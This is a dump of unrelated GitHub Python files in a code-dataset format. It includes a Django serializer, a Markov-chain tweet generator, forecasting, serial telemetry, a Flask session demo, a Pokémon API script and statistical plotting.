url='https://images.baidu.com/search/index?tn=baiduimage&ipn=r&ct=201326592&cl=2&lm=-1&st=-1&fm=index&fr=&hs=0&xthttps=111111&sf=1&fmq=&pv=&ic=0&nc=1&z=&se=1&showtab=0&fb=0&width=&height=&face=0&istype=2&ie=utf-8&word='+word\n result = requests.get(url).text\n downloadPic(result, word)\n","repo_name":"shucommon/badrobot","sub_path":"python/hw/web-screw.py","file_name":"web-screw.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"47468907","text":"from django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.core.exceptions import ValidationError\nfrom django.shortcuts import get_object_or_404\n\nfrom rest_framework import serializers\n\nfrom .models import Automation, Action\n\nUser = get_user_model()\n\n\nclass ActionSerializer(serializers.ModelSerializer):\n act = serializers.ChoiceField(choices=Action.Action_Types.choices)\n\n class Meta:\n model = Action\n fields = [\n \"id\",\n \"order\",\n \"act\",\n \"automation\",\n \"collection\",\n \"user\",\n \"message\",\n \"updated\",\n \"created\",\n ]\n read_only_fields = (\"automation\", \"updated\", \"created\")\n extra_kwargs = {\n \"id\": {\"read_only\": False, \"required\": False},\n }\n\n\nclass AutomationSerializer(serializers.ModelSerializer):\n trigger = serializers.ChoiceField(choices=Automation.Trigger_Types.choices)\n actions = ActionSerializer(many=True, required=False)\n\n class Meta:\n model = Automation\n fields = [\n \"id\",\n \"name\",\n \"trigger\",\n \"creator\",\n \"account\",\n \"number\",\n \"active\",\n \"updated\",\n \"created\",\n \"actions\",\n ]\n read_only_fields = (\"id\", \"updated\", \"created\", \"creator\", \"account\")\n\n def create(self, validated_data):\n account = None\n action_list = []\n new_actions = []\n try:\n account = self.context[\"request\"].user.account\n except:\n raise serializers.ValidationError(\"User has no Account\")\n if validated_data.get(\"actions\"):\n action_list = validated_data.pop(\"actions\")\n new_automation = Automation.objects.create(\n account=account, creator=self.context[\"request\"].user, **validated_data\n )\n for action in action_list:\n new_actions.append(Action(**action, automation=new_automation))\n Action.objects.bulk_create(new_actions)\n return new_automation\n\n def update(self, instance, validated_data):\n instance.name = validated_data.get(\"name\", instance.name)\n instance.trigger = validated_data.get(\"trigger\", instance.trigger)\n instance.number = validated_data.get(\"number\", instance.name)\n instance.active = validated_data.get(\"active\", instance.name)\n\n # If Actions are provided, update any existing, create new, and delete removed ones\n action_list = validated_data.get(\"actions\")\n created_actions = []\n updated_actions = []\n existing_actions = []\n if action_list or action_list == []:\n existing_actions = list(self.instance.actions.all())\n\n for action in action_list:\n actions_to_update = None\n for actions_to_update in existing_actions:\n if actions_to_update.id == action.get(\"id\"):\n break\n else:\n actions_to_update = None\n if actions_to_update:\n actions_to_update.act = action.get(\"act\", actions_to_update.act)\n actions_to_update.order = action.get(\"order\", actions_to_update.order)\n actions_to_update.collection = action.get(\"collection\", actions_to_update.collection)\n actions_to_update.user = action.get(\"user\", actions_to_update.user)\n actions_to_update.message = action.get(\"message\", actions_to_update.message)\n updated_actions.append(actions_to_update)\n existing_actions.remove(actions_to_update)\n else:\n new_action = Action(**action, automation=instance)\n created_actions.append(new_action)\n Action.objects.bulk_update(updated_actions, [\"act\", \"order\", \"collection\", \"user\", \"message\"])\n Action.objects.bulk_create(created_actions)\n\n for to_delete in existing_actions:\n to_delete.delete()\n\n instance.save()\n return instance\n","repo_name":"webdev0415/ChatterPy","sub_path":"chatterpy-backend/automations/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4145,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"24378424832","text":"from pyrogram import Client\r\n\r\nSEARCH_CHAT_ID = 0\r\n\r\nAPI_ID = 0\r\nAPI_HASH = \"0\"\r\n\r\nPROXY = dict(hostname=\"127.0.0.1\", port=10809)\r\n\r\napp = Client(\"my_account\", API_ID, API_HASH,proxy=PROXY)\r\napp.start()","repo_name":"Zsk-d/tg-file-download","sub_path":"tg_define.py","file_name":"tg_define.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73813150227","text":"#!/usr/bin/env python3\n\"\"\"Some random docstring\"\"\"\n\n\ndef update_topics(mongo_collection, name, topics):\n \"\"\"Changes the topics of a school document\"\"\"\n mongo_collection.update_many(\n {'name': name},\n {'$set': {\n \"topics\": topics\n }}\n )\n","repo_name":"UsmanAJabbar/holbertonschool-web_back_end","sub_path":"0x0D-NoSQL/10-update_topics.py","file_name":"10-update_topics.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74841850386","text":"# ALL VARIABLE\nimport pygame\nimport sys\nimport random\nimport time\n\ndisplay_width = 576\ndisplay_height = 879\nfloor_x = 0\ngravity = 0.25\nbird_movement = 0\npipe_list = []\ngame_status = True\nbird_list_index = 0\ngame_font = pygame.font.Font('assets/font/Flappy.TTF', 45)\nscore = 0\nhigh_score = 0\nactive_score = True\n\n# ---------- #\ncreate_pipe = pygame.USEREVENT\ncreate_flap = pygame.USEREVENT + 1\npygame.time.set_timer(create_flap, 100)\npygame.time.set_timer(create_pipe, 1200)","repo_name":"HamidrezaGolami/Flapy-Bird-with-python","sub_path":"assets/data/ALL VARIABLE.py","file_name":"ALL VARIABLE.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38391834428","text":"import re\nimport random\nimport string\nfrom twython import Twython\nfrom auth import APP_KEY, APP_SECRET, OAUTH_TOKEN, OAUTH_TOKEN_SECRET\nfrom pullTweets import pullTweets\nfrom chain import populateWordMap\n\ndef main():\n for i in range(10):\n generateTweet()\n\ndef generateTweet():\n DEBUG = False\n MAX_CHARS = 280\n twitter = Twython(APP_KEY, APP_SECRET, OAUTH_TOKEN, OAUTH_TOKEN_SECRET)\n automaTweets = twitter.get_user_timeline(screen_name=\"AutomaTrump\",count=200,tweet_mode='extended')\n tweetSource = pullTweets()\n\n #now that we have our tweets, we create a new one using Markov Chains\n\n wordMap = {}\n tweetStarts = []\n\n for tweet in tweetSource:\n populateWordMap(wordMap, tweetStarts, tweet)\n\n\n #now that we have our word counts, synthesize a tweet\n\n newTweet = \"\"\n\n while(len(newTweet) == 0):\n newTweet = assembleTweet(wordMap, tweetStarts, MAX_CHARS).strip()\n for tweet in automaTweets: \n if(tweet['full_text'] == newTweet):\n print(\"Already tweeted this, regenerating.\")\n newTweet = \"\"\n break\n\n #we have our tweet, now we post it\n\n if(DEBUG):\n print(newTweet)\n print(len(newTweet))\n else:\n twitter.update_status(status=newTweet)\n\ndef assembleTweet(wordMap, tweetStarts, MAX_CHARS):\n newTweet = \"\"\n tweetStart = tweetStarts[random.randrange(0,len(tweetStarts))]\n currentWord = tweetStart\n possibleCrossovers = 0\n\n while(len(wordMap[currentWord]) > 0):\n nextWord = getRandomNextWord(wordMap, currentWord)\n\n if(len(wordMap[currentWord]) > 1):\n possibleCrossovers += len(wordMap[currentWord])\n\n if(currentWord in string.punctuation):\n newTweet += currentWord\n else:\n newTweet += \" \" + currentWord\n\n if(isChainTerminated(currentWord, nextWord)):\n break\n\n currentWord = nextWord\n\n #check to make sure we haven't gone off the edge and we've had enough variety\n\n if(len(newTweet) > MAX_CHARS):\n print(\"Assembling new tweet. Length: \" + str(len(newTweet)))\n newTweet = \"\"\n #assembleTweet(wordMap, tweetStarts, MAX_CHARS)\n\n if(possibleCrossovers < 5):\n print(\"Assembling new tweet. Crossovers: \" + str(possibleCrossovers))\n newTweet = \"\"\n #assembleTweet(wordMap, tweetStarts, MAX_CHARS)\n\n\n # if(len(newTweet) > MAX_CHARS or possibleCrossovers < 5):\n # assembleTweet(wordMap, tweetStarts, MAX_CHARS)\n\n return newTweet\n\ndef getRandomNextWord(wordMap, currentWord):\n return wordMap[currentWord][random.randrange(0, len(wordMap[currentWord]))]\n\ndef checkCrossovers(possibleCrossovers, wordMap, currentWord):\n if(len(wordMap[currentWord]) > 1):\n possibleCrossovers += len(wordMap[currentWord])\n\ndef isChainTerminated(currentWord, nextWord):\n #if we're on a punctuation that isn't part of the word \"U.S.\", end our tweet\n return nextWord == \"EOF\" or (currentWord.endswith(\".\") and currentWord != \"U.S.\") or currentWord.endswith(\"!\") or currentWord.endswith(\"?\")","repo_name":"CurrrBell/AutomaTrump","sub_path":"newTweet.py","file_name":"newTweet.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1952879296","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jan 6 20:48:02 2022\r\n\r\n@author: biswa\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom statsmodels.tsa.holtwinters import ExponentialSmoothing # Holt Winter's Exponential Smoothing\r\n\r\n\r\nplastic = pd.read_csv(\"E:\\\\ASSIGNMENT DS\\\\forecasting time series\\\\Datasets_Forecasting/plastic.csv\")\r\n\r\nTrain = plastic.head(48)\r\nTest = plastic.tail(12)\r\n\r\n# Creating a function to calculate the MAPE value for test data \r\ndef MAPE(pred,org):\r\n temp = np.abs((pred-org)/org)*100\r\n return np.mean(temp)\r\n\r\n\r\n# Holts winter exponential smoothing with additive seasonality and additive trend\r\nhwe_model_add_add = ExponentialSmoothing(Train[\"sales\"], seasonal = \"add\", trend = \"add\", seasonal_periods = 12).fit()\r\npred_hwe_add_add = hwe_model_add_add.predict(start = Test.index[0], end = Test.index[-1])\r\nMAPE(pred_hwe_add_add, Test.sales) \r\n\r\n\r\n# Final Model on 100% Data\r\nhwe_model_add_add = ExponentialSmoothing(plastic[\"sales\"], seasonal = \"add\", trend = \"add\", seasonal_periods = 12).fit()\r\n\r\n# Load the new data which includes the entry for future 4 values\r\nnew_data = pd.read_excel(\"E:\\\\ASSIGNMENT DS\\\\forecasting time series\\\\Datasets_Forecasting/predict plastic.xlsx\")\r\n\r\nnewdata_pred = hwe_model_add_add.predict(start = new_data.index[0], end = new_data.index[-1])\r\npredict_plastic = pd.concat([new_data, newdata_pred], axis = 1)\r\n\r\n","repo_name":"biswajeetpadhi/Assignments","sub_path":"forecasting time series/plastic.py","file_name":"plastic.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16752979617","text":"# Author: Eugênio Pozzobon\n# e-mail: eugeniopp00@gmail.com\n# Github: https://github.com/Eugenio-Pozzobon\n# Linkedin: https://www.linkedin.com/in/eugeniopozzobon/\n# Licensed under the GNU General Public License v3.0\n\nimport sys\nfrom datetime import datetime\n\nimport pandas as pd\nimport serial\nimport src.settings as settings\nfrom src.programTools import *\nfrom src.wcuClientSocket import *\nfrom src.wcuServerSocket import *\n\n\nclass ReadLine:\n def __init__(self, s):\n self.buf = bytearray()\n self.s = s\n\n def readline(self):\n i = self.buf.find(b\"\\n\")\n if i >= 0:\n r = self.buf[:i + 1]\n self.buf = self.buf[i + 1:]\n return r\n while True:\n i = max(1, min(2048, self.s.in_waiting))\n data = self.s.read(i)\n i = data.find(b\"\\n\")\n if i >= 0:\n r = self.buf + data[:i + 1]\n self.buf[0:] = data[i + 1:]\n return r\n else:\n self.buf.extend(data)\n\n#conect to serial selected\ndef connectSerial(DEVICE, BAUD_RATE = 115200, TIMEOUT = .1):\n\n if settings.server == True:\n conectServer()\n\n if settings.client == True:\n conectClient()\n if settings.client == False:\n print('\\nObtendo informacoes sobre a comunicacao serial\\n')\n # Iniciando conexao serial\n # comport = serial.Serial(DEVICE, 9600, timeout=1)\n\n try:\n comport = serial.Serial(DEVICE,\n int(BAUD_RATE),\n timeout=TIMEOUT)\n global rl\n rl = ReadLine(comport)\n return comport\n except:\n sys.exit('COM PORT ERROR, EXITING')\n\n\n#read serial in bytes\ndef readSerial(comport, bytelen = 2):\n try:\n global rl\n l = rl.readline()\n l = l[:-bytelen]\n return l\n except:\n #comport.close()\n return bytes(('0,0,0,0,0,0,0,0,0,0,0,0,0').encode())\n\n#check integrity of bytes read and return it in string\ndef readStringSerial(bytes):\n string = ''\n try:\n string = bytes.decode(errors='strict')\n return string\n except:\n return string\n\n#check if string readed is parsed to float and return the float array value of the string\ndef readFloatArraySerial(string):\n fstr = []\n try:\n splitString = string.split(',')\n for i in range(0, len(splitString)):\n fstr.append(float(splitString[i]))\n return fstr\n except:\n return fstr\n\n#creates csv file for save data during communications\ndef createCSV(header):\n now = datetime.now()\n dt_string = now.strftime(\"%Y%m%d%H%M%S\")\n wcuFileName = \"./_wcu_cacheFiles_/\"+dt_string+\"wcufile.csv\"\n wcuFile = open(wcuFileName, \"w\")\n wcuFile.write(header+'\\n')\n wcuFile.close()\n global maxrow\n maxrow = 0\n return wcuFileName\n\n#lê os dados, recodificia e salva no arquivo csv\ndef saveCSV(file, comport, header, canconfig, laststring):\n\n if(settings.client):\n recieved = clientRecieve().decode().replace('\\n','')\n stringSave = recieved.split(',')\n decoded = ',' + ','.join(stringSave[-26:])\n else:\n stringbytes = readStringSerial(readSerial(comport, bytelen=2))\n decoded = decodeCAN(readFloatArraySerial(stringbytes)[1:(1 + 9)], canconfig, laststring)\n stringSave = (stringbytes + decoded).split(',')\n\n if settings.server:\n sendSocket(','.join(stringSave)+'\\n')\n\n if(len(stringSave) == len(header.split(','))):\n file.write(','.join(stringSave)+'\\n')\n global maxrow\n maxrow += 1\n return decoded, stringSave\n else:\n return laststring, stringSave\n\n\n#salva o CSV e retorna o arquivo atualizado\ndef updateWCUcsv(seconds, wcufile, comport, header, canconfig, laststr):\n\n #entra no loop para ler o buffer da Serial, se for comunicação por socket não entra\n global maxrow\n datapoints = settings.telemetry_points\n\n if settings.client == True:\n laststr, totalstr = saveCSV(wcufile, comport, header, canconfig, laststr)\n laststr, totalstr = saveCSV(wcufile, comport, header, canconfig, laststr)\n\n else:\n while (comport.in_waiting > 0):\n laststr, totalstr = saveCSV(wcufile, comport, header, canconfig, laststr)\n laststr, totalstr = saveCSV(wcufile, comport, header, canconfig, laststr)\n #save 2 lines of csv file because if don't, the first time that the funcition is called will et error\n\n if maxrow < (datapoints+10):\n return pd.read_csv(wcufile.name, engine = 'c'), laststr\n else:\n read_just_few_lines = []\n for i in range(1, maxrow-(datapoints+1)):\n read_just_few_lines.append(i)\n dfr = pd.read_csv(wcufile.name, engine = 'c', skiprows=read_just_few_lines, nrows=datapoints)\n return dfr, laststr\n\n\n#read multiples line to dosnt use this\ndef cleanCOMPORT(comport):\n for i in range(0, 10):\n readSerial(comport, bytelen=2)","repo_name":"Eugenio-Pozzobon/Formula-UFSM-Data-Analysis","sub_path":"V4.0 - Python/src/wcuSerial.py","file_name":"wcuSerial.py","file_ext":"py","file_size_in_byte":5004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12994845095","text":"# -*- mode: python ; coding: utf-8 -*-\n\n\nblock_cipher = None\n\n\na = Analysis(\n ['embox.py'],\n pathex=[],\n binaries=[('/home/nikhil/.local/lib/python3.10/site-packages/PyQt6/Qt6/lib/', '.')],\n datas=[('files/*', '.')],\n hiddenimports=['paho-mqtt', 'qt_material', 'requests', 'numpy'],\n hookspath=[],\n hooksconfig={},\n runtime_hooks=[],\n excludes=['PySide6', 'PyQt5'],\n win_no_prefer_redirects=False,\n win_private_assemblies=False,\n cipher=block_cipher,\n noarchive=False,\n)\npyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)\n\nexe = EXE(\n pyz,\n a.scripts,\n a.binaries,\n a.zipfiles,\n a.datas,\n [],\n name='embox',\n debug=False,\n bootloader_ignore_signals=False,\n strip=False,\n upx=True,\n upx_exclude=[],\n runtime_tmpdir=None,\n console=False,\n disable_windowed_traceback=False,\n argv_emulation=False,\n target_arch=None,\n codesign_identity=None,\n entitlements_file=None,\n)\n","repo_name":"TECHPROGENY/embox-embedded-toolkit","sub_path":"embox.spec","file_name":"embox.spec","file_ext":"spec","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73133121106","text":"from flask import Flask, session, redirect, url_for, escape, request, abort\napp = Flask(__name__)\napp.secret_key = 'sessiondemohere'\n\n@app.route('/')\ndef index():\n if 'username' in session: # Check session exist or not \n username = session['username'] # If exist, get the value and show on page\n return 'Logged in as ' + username + '
    ' + \"click here to log out\"\n else:\n return \"You are not logged in
    \" + \"click here to log in\"\n\n@app.route('/login', methods = ['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n if request.form['username'].lower() == 'admin':\n session['username'] = request.form['username']\n return redirect(url_for('index')) # url_for()最简单的用法是以函数名作为参数,返回对应的URL。\n else:\n abort(401) # If the login user does not equal to \"Admin\", will show 401 Unauthenticated error message\n else:\n return '' + \\\n '

    ' + \\\n '

    ' + \\\n ''\n\n#400 − for Bad Request\n#401 − for Unauthenticated\n#403 − for Forbidden\n#404 − for Not Found\n#406 − for Not Acceptable\n#415 − for Unsupported Media Type\n#429 − Too Many Requests\n\n@app.route('/logout', methods =['GET'])\ndef logout():\n session.pop('username',None) # Logout, pop up session\n return redirect(url_for('index'))\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1',port=8002, debug = True)","repo_name":"fredligithub/PythonLearning","sub_path":"venv/MyTestCode/FlaskWeb/Session.py","file_name":"Session.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"3465877862","text":"from collections import defaultdict\nfrom typing import List, Tuple, Iterable, Optional\n\nimport numpy as np\n\nimport utils\n\n\nclass Species:\n \"\"\"Class to contain the a tile list, and unit count for a given species, with some handy methods\"\"\"\n\n def __init__(self, type_: Optional[int] = None, l: List[Tuple[int, int, int]] = None):\n self.tiles: defaultdict = defaultdict(lambda: 0)\n if l is not None:\n self.tiles.update({(x, y): n for x, y, n in l})\n self.units: int = sum(self.tiles.values())\n self.type: int = type_\n\n def remove_tile(self, coordinates: Tuple[int, int]):\n self.units -= self.tiles.pop(coordinates, 0)\n\n def tile_coordinates(self) -> List[Tuple[int, int]]:\n return list(self.tiles.keys())\n\n def tile_contents(self):\n \"\"\"Returns a list of the species tile coordinates and contents ordered incrementally by unit count\"\"\"\n return sorted(list(map(lambda x: (x[0][0], x[0][1], x[1]), self.tiles.items())), key=lambda x: x[-1])\n\n def add_units(self, coordinates: Tuple[int, int], units: int):\n self.tiles[coordinates] += units\n self.units += units\n\n def remove_units(self, coordinates: Tuple[int, int], units: int):\n if units >= self.tiles[coordinates]:\n self.units -= self.tiles.pop(coordinates, 0)\n else:\n self.tiles[coordinates] -= units\n self.units -= units\n\n def update_tile(self, update: Iterable[int]):\n self.remove_tile(update[:2])\n if update[self.type+1] != 0:\n self.add_units(update[:2], update[self.type+1])\n\n\nclass State:\n \"\"\"Class to represent the board state\n The board is a nb_rows x nb_columns x 2 numpy array, the first 2D layer represents the species, the 2nd the number\n \"\"\"\n\n def __init__(self, set_message: Tuple[str, Tuple[int, int]], set_species: bool = True) -> None:\n self._nb_rows: int = set_message[1][0]\n self._nb_columns: int = set_message[1][1]\n self.board: np.ndarray = np.zeros((self.nb_columns, self.nb_rows, 2), dtype=int)\n self._house_list: List[Tuple[int, int]] = []\n self._starting_square = None\n self.our_species: Optional[Species] = None\n self.enemy_species: Optional[Species] = None\n self.human_species: Optional[Species] = None\n self.probability: float = 1\n if set_species:\n self.our_species = Species()\n self.enemy_species = Species()\n self.human_species = Species(1)\n\n @property\n def nb_rows(self) -> int:\n return self._nb_rows\n\n @property\n def nb_columns(self) -> int:\n return self._nb_columns\n\n def update_board(self, update: Iterable[int]):\n x, y = update[:2]\n if update[2] != 0:\n self.board[x, y, 0] = 1\n self.board[x, y, 1] = update[2]\n elif update[3] != 0:\n self.board[x, y, 0] = 2\n self.board[x, y, 1] = update[3]\n elif update[4] != 0:\n self.board[x, y, 0] = 3\n self.board[x, y, 1] = update[4]\n else:\n self.board[x, y, :] = 0\n\n def display_board(self):\n print(np.transpose(self.board, axes=(0, 2, 1)))\n\n def update(self, message) -> None:\n \"\"\"\n Update board state\n\n :param message: message from server\n \"\"\"\n if message[0] == \"hum\":\n self._house_list = message[1]\n\n elif message[0] == \"hme\":\n self._starting_square = message[1]\n\n elif message[0] == \"map\":\n x_home, y_home = self._starting_square\n # Determine species\n for change in message[1]:\n if change[3] != 0:\n if (change[0], change[1]) == (x_home, y_home):\n self.our_species.type = 2\n self.enemy_species.type = 3\n else:\n self.our_species.type = 3\n self.enemy_species.type = 2\n break\n if change[4] != 0:\n if (change[0], change[1]) == (x_home, y_home):\n self.our_species.type = 3\n self.enemy_species.type = 2\n else:\n self.our_species.type = 2\n self.enemy_species.type = 3\n break\n for change in message[1]:\n self.update_board(change)\n self.our_species.update_tile(change)\n self.enemy_species.update_tile(change)\n self.human_species.update_tile(change)\n\n elif message[0] == \"upd\":\n for change in message[1]:\n self.update_board(change)\n self.our_species.update_tile(change)\n self.enemy_species.update_tile(change)\n self.human_species.update_tile(change)\n\n def __add_unit(self, n, x, y, species_to_add):\n # Add n units in (x,y) position.\n if self.board[x, y, 0] == 0: # No unit in (x,y), just add n units.\n self.board[x, y, 1] = n\n self.board[x, y, 0] = species_to_add\n if species_to_add == 1:\n self.human_species.add_units((x, y), n)\n elif species_to_add == self.our_species.type:\n self.our_species.add_units((x, y), n)\n else:\n self.enemy_species.add_units((x, y), n)\n\n # The target tile contains the same species, just add them\n elif self.board[x, y, 0] == species_to_add:\n self.board[x, y, 1] += n\n if species_to_add == 1:\n self.human_species.add_units((x, y), n)\n elif species_to_add == self.our_species.type:\n self.our_species.add_units((x, y), n)\n else:\n self.enemy_species.add_units((x, y), n)\n else: # There is some form of battle\n # If the outcome has a probability over the a certain value (0.8) we consider it's a win if not it's a loss\n win_probability = utils.win_probability(\n n, self.board[x, y, 1], self.board[x, y, 0])\n if win_probability >= 0.8:\n survivors = np.random.binomial(n, win_probability)\n\n # We are defending\n if self.board[x, y, 0] == self.our_species.type:\n self.our_species.remove_tile((x, y))\n species = self.enemy_species.type\n self.enemy_species.add_units((x, y), survivors)\n self.probability = self.probability * win_probability\n\n # We are attacking the enemy\n elif self.board[x, y, 0] == self.enemy_species.type:\n self.enemy_species.remove_tile((x, y))\n self.our_species.add_units((x, y), survivors)\n species = self.our_species.type\n self.probability = self.probability * win_probability\n\n # Humans are being attacked\n else:\n self.human_species.remove_tile((x, y))\n transformed_humans = self.board[x, y, 1] * win_probability\n if self.our_species.type == species_to_add:\n self.our_species.add_units((x, y), survivors + transformed_humans)\n species = self.our_species.type\n else:\n self.enemy_species.add_units((x, y), survivors + transformed_humans)\n species = self.enemy_species.type\n self.probability = self.probability * win_probability\n\n # If the outcome has a probability below this value (0.8), we consider the fight is lost\n else:\n survivors = np.random.binomial(\n self.board[x, y, 1], 1 - win_probability)\n\n # We are defending\n if self.board[x, y, 0] == self.our_species.type:\n self.our_species.remove_units((x, y), self.board[x, y, 1] - survivors)\n species = self.our_species.type\n self.probability = self.probability * win_probability # Bit of an odd one\n\n # We are attacking the enemy\n elif self.board[x, y, 0] == self.enemy_species.type:\n self.enemy_species.remove_units(\n (x, y), self.board[x, y, 1] - survivors)\n species = self.enemy_species.type\n self.probability = self.probability*(1-win_probability)\n\n # Humans are being attacked\n else:\n self.human_species.remove_units(\n (x, y), (self.board[x, y, 1]-survivors))\n species = self.human_species.type\n self.probability = self.probability*(1-win_probability)\n\n self.board[x, y, 1] = survivors\n self.board[x, y, 0] = species\n\n def __remove_unit(self, n, x, y):\n # Remove n units in (x,y) position.\n species = self.board[x, y, 0]\n if species == 1:\n self.human_species.remove_units((x, y), n)\n elif species == self.our_species.type:\n self.our_species.remove_units((x, y), n)\n else:\n self.enemy_species.remove_units((x, y), n)\n\n def next_state(self, moves, species):\n # Given a list of moves, outputs the next board state.\n for move in moves:\n x_init, y_init = move[0], move[1]\n n = move[2]\n x_end, y_end = move[3], move[4]\n self.__remove_unit(n, x_init, y_init)\n self.__add_unit(n, x_end, y_end, species)\n\n def copy_state(self):\n \"\"\"\n return a copy of self as a new State object\n\n :return: State object\n \"\"\"\n copy = State((\"set\", (self._nb_rows, self._nb_columns)),\n set_species=False)\n\n copy._nb_rows = self._nb_rows\n copy._nb_columns = self._nb_columns\n copy.board = np.copy(self.board)\n copy._house_list = np.copy(self._house_list)\n copy._starting_square = np.copy(self._starting_square)\n copy.our_species = Species(\n self.our_species.type, self.our_species.tile_contents())\n copy.enemy_species = Species(\n self.enemy_species.type, self.enemy_species.tile_contents())\n copy.human_species = Species(1, self.human_species.tile_contents())\n return copy\n","repo_name":"owain-Biddulph/deep-ail","sub_path":"state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":10475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37393782706","text":"#!/usr/bin/env python3\n\nimport requests\nimport shutil\n\ndef main():\n pokenum = input(\"Pick a number between 1 and 151!\\n>\")\n pokeapi = requests.get(\"https://pokeapi.co/api/v2/pokemon/\" + pokenum).json()\n\n # Get the URL to \"front_default\" sprite image\n sprite_url = pokeapi[\"sprites\"][\"front_default\"]\n\n # Download the sprite image\n response = requests.get(sprite_url, stream=True)\n if response.status_code == 200:\n # Save the image to /home/student/static\n save_path = f\"/home/student/static/pokemon_{pokenum}.png\"\n with open(save_path, \"wb\") as file:\n response.raw.decode_content = True\n shutil.copyfileobj(response.raw, file)\n print(\"Sprite image has been downloaded and saved.\")\n else:\n print(\"Failed to download the sprite image.\")\n\n # Print out the names of all the selected Pokemon's \"moves\"\n print(\"\\nMoves:\")\n for move in pokeapi[\"moves\"]:\n print(move[\"move\"][\"name\"])\n\n # Count the total number of games this Pokemon character appeared in\n total_games = len(pokeapi[\"game_indices\"])\n\n # Print the count of how many games the selected Pokemon has appeared in\n print(\"\\nTotal number of games:\", total_games)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"AlbinoRhino7391/mycode","sub_path":"pokedex/pokedexgen1.py","file_name":"pokedexgen1.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22655807865","text":"#!/usr/bin/env python\nimport socket\n\ndef nc(ip, port):\n s = socket.socket()\n s.connect((ip, port))\n s.send('Hello')\n s.close()\n\nif __name__ == '__main__':\n nc('0.0.0.0', 9999)\n\n","repo_name":"ZJGSU-C-moon/RSA-Blind-Signature-Based-Bank-System","sub_path":"socket_client.py","file_name":"socket_client.py","file_ext":"py","file_size_in_byte":192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4302906412","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nMake figures for MUSim paper\r\n\r\nAUTHOR: Eric Fields\r\nVERSION DATE: 26 June 2019\r\n\"\"\"\r\n\r\nimport os\r\nfrom os.path import join\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom statsmodels.stats.proportion import proportion_confint\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef binom_ci_precision(proportion, nobs, method='beta', alpha=0.05):\r\n \"\"\"\r\n Get precision for binomial proportion confidence interval\r\n \"\"\"\r\n count = proportion * nobs\r\n ci = proportion_confint(count, nobs, method=method, alpha=alpha)\r\n ci_precision = ci[1] - proportion\r\n return ci_precision\r\n\r\ndef make_power_bar(data, colors, error_bars='se', mean_amp=True, legend=False):\r\n \r\n use_colors = colors.copy()\r\n \r\n use_cols = ['Fmax', 'cluster_05', 'cluster_01', 'BH', 'BY', 'BKY']\r\n if mean_amp:\r\n use_cols.insert(0, 'mean_amp')\r\n \r\n #Get values for error bars\r\n power_data = data.loc[:, use_cols].to_numpy().T\r\n if error_bars.lower() == 'se':\r\n stderr = np.sqrt( (power_data*(1-power_data)) / 10000 )\r\n elif error_bars.lower() == 'ci':\r\n stderr = binom_ci_precision(power_data, 10000)\r\n elif error_bars is None:\r\n stderr = None\r\n else:\r\n raise ValueError('Incorrect input for error_bars')\r\n \r\n #Plot\r\n labels = ['Fmax', 'cluster (p≤0.05 threshold)', 'cluster (p≤0.05 threshold)', \r\n 'FDR (Benjamini & Hochberg, 1995)', 'FDR (Benjamini & Yekutieli, 2001)', \r\n 'FDR (Benjamini et al., 2006)']\r\n if mean_amp:\r\n labels.insert(0, 'mean amplitude')\r\n use_colors.insert(0, 'black')\r\n data.plot.bar(x='time_window', y=use_cols, label=labels, color=use_colors,\r\n fontsize=16, yerr=stderr, legend=legend)\r\n plt.xticks(rotation='horizontal')\r\n plt.xlabel('')\r\n plt.ylim((0,1))\r\n if legend:\r\n plt.legend(loc=(1.04,0), prop={'size': 12})\r\n \r\n\r\ndef make_power_figures(colors, results_dir):\r\n \r\n #Get all results csv files\r\n results_files = [file for file in os.listdir(results_dir) if file.endswith('.csv')]\r\n \r\n for results_file in results_files:\r\n \r\n #Load data\r\n data = pd.read_csv(join(results_dir, results_file))\r\n \r\n if 'Power' in results_file and 'Familywise' in results_file:\r\n \r\n if 'FamilywisePower' in results_file:\r\n mean_amp = True\r\n else:\r\n mean_amp = False\r\n \r\n #Make file with legend\r\n if not os.path.isfile(join(results_dir, 'legend.tif')):\r\n make_power_bar(data[0:3], colors, legend=True)\r\n img_file = join(results_dir, 'legend.tif')\r\n plt.savefig(img_file, bbox_inches='tight', dpi=600)\r\n plt.close()\r\n \r\n #Make figures\r\n make_power_bar(data[0:3], colors, 